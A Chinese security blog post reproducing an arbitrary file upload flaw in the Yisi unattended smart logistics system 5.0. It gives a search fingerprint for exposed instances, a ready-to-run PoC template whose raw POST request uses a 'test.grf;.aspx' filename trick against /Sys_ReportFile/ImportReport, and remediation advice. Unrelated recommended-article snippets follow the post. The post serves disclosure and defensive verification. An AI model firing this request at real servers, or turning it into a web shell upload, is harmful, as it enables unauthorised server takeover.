【漏洞复现】易思智能物流无人值守系统文件上传

2023-09-22 15:40:17

请添加图片描述本文由掌控安全学院 - 江月 投稿

【产品介绍】

易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。它能够自主完成货物存储、检索、分拣、装载以及配送等物流作业,帮助企业实现无人值守的智能物流运营,提高效率、降低成本,为现代物流行业带来新的发展机遇。

【漏洞描述】

易思无人值守智能物流系统/Sys_ReportFile/ImportReport接口处存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。

【影响范围】

易思智能物流无人值守系统5.0

【指纹】

web.body=”智能物流无人值守系统”在这里插入图片描述

【Poc检测】

在这里插入图片描述

【验证】

在这里插入图片描述
【Yakit Poc自动化验证】在这里插入图片描述在这里插入图片描述

id: Yisi-upload

info:
  name: Yisi-upload
  author: hack
  severity: info
  description: description
  reference:
    - https://
  tags: tags

requests:
  - raw:
      - |
        POST /Sys_ReportFile/ImportReport?encode=hack HTTP/1.1
        Host: {{Hostname}}
        X-File-Name: test.grf
        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxzUhGld6cusN3Alk
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
        Content-Length: 207

        ------WebKitFormBoundaryxzUhGld6cusN3Alk
        Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"
        Content-Type: application/octet-stream

        test
        ------WebKitFormBoundaryxzUhGld6cusN3Alk--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Custom
      - type: status
        status:
          - 200

【修复建议】

对上传文件的类型、大小、文件名等进行验证,确保只允许上传合法的文件类型,并限制文件大小和文件名的长度。可以使用白名单或黑名单的方式进行验证。

及时关注和应用厂商发布的安全补丁和更新,修复已知的文件上传漏洞。

没看够?欢迎关注

请添加图片描述
请添加图片描述

更多推荐

PostgreSql 统一修改date字段为timestamp

在《Powdersigner+PostgreSql同步表结构到pg数据库》中,导入表结构到pg数据后,发下时间对不上了。mysql的datetime转换后pg的变成了date了。再同步到数据后,就变成日期类型了。因为表中基本都有创建时间和修改时间,两个相对固定的字段,因此想做一个统一的处理。把《postgreSql使用

租用好服务器后怎么操作?

很多企业咨询完租用好服务器后都会有一些不知所措,不知道改如何操作,今天小编就跟大家讲一讲租用好服务器后要进行以下几个注意事项。修改系统以后要尽快修改服务器的密码,租用服务器后正规的IDC服务器商是会自主完成这一步骤的,重做系统后修改好的服务器密码一定要保存好。不随意下载。不能像普通电脑一拿到手就开始立刻下载各种软件、A

Lua学习笔记:词法分析

前言本篇在讲什么Lua的词法分析本篇需要什么对Lua语法有简单认知对C++语法有简单认知依赖VisualStudio工具本篇的特色具有全流程的图文教学重实践,轻理论,快速上手提供全流程的源码内容★提高阅读体验★👉♠一级标题👈👉♥二级标题👈👉♣三级标题👈👉♦四级标题👈目录♠前言♠luaL_dofile♠保

【STL容器】list

文章目录一、list定义二、list的迭代器三、list的元素操作四,list的优缺点一、list定义list本质是一个双向带头循环链表template<classT>structlist_node{list_node*prev;Tval;list_node*next;};template<classT>classli

数据结构与算法(C语言版)P3.2---链表之带头双向循环链表的实现

1、前言前面一章详细介绍了链表的概念、结构以及分类。并且实现了无头单向非循环链表。这一篇主要实现带头双向循环链表的。由于需要串联前面的知识,把上一篇至此:链表之无头单向非循环链表的实现2、带头双向循环链表的特性和结构2.1、结构(1)、每个结点有两个指针域(next,prev),一个数据域(data)。(2)前面结点的

cms之帝国cms安装

内容摘要帝国网站管理系统,英文名称为EmpireCMS,简称“帝国CMS”,本文将介绍帝国网站管理系统的安装方法。前言:本文安装教程是以帝国CMS7.5版本为基础进行图文讲解。各位看官,一定要按照每个步骤去执行,技术是以熟能生巧为主,在学习的过程中,要认真仔细的去做好每一步。关注我,手把手帮你搭建自己的小窝一、安装前准

Spring源码分析(三) IOC 之 getBean()和doGetBean()

b、在中篇会正式经历一套生命周期流程getBean()->doGetBean()->createBean()->doCreateBean()->createBeanInstance()->populateBean()->initializeBean()流程1、AbstractBeanFactory#getBean()此

计算机遇到MSVCP140.dll丢失问题?全面分析解决方案

今天我要和大家分享的主题是:计算机中丢失MSVCP140.dll的解决方法。在我们日常使用电脑的过程中,经常会遇到一些棘手的问题,而MSVCP140.dll文件丢失就是其中之一。这个问题可能会给我们的工作、学习和娱乐带来诸多不便,因此我希望通过今天的演讲,能够帮助大家解决这个问题。首先,让我们来了解一下什么是MSVCP

面对突如其来的 GC 问题如何下手解决

今天我们主要从一个实战案例入手分析面对突如其来的GC问题该如何下手解决。想要下手解决GC问题,我们首先需要掌握下面这三种问题。如何使用jstat命令查看JVM的GC情况?面对海量GC日志参数,如何快速抓住问题根源?你不得不掌握的日志分析工具。工欲善其事,必先利其器。我们前面课时讲到的优化手段,包括代码优化、扩容、参数优

OpenWrt kernel install分析(2)

一.前言接下来分析make-CimagecompileinstallTARGET_BUILD=。二.Makefile分析1.命令首先运行target/linux/mediatek/image/Makefile,该文件内容如下:target/linux/mediatek/image/Makefile:include$(T

Win32 位图直接绘制

CBitmapDraw.h#pragmaonce#include<wtypes.h>#include<type_traits>#defineCOLOR_RGB_TO_BGR(_rgb)((_rgb&0xFF)<<16)|(_rgb&0x00FF00)|((_rgb>>16)&0xFF)typedefstruct_BIT

热文推荐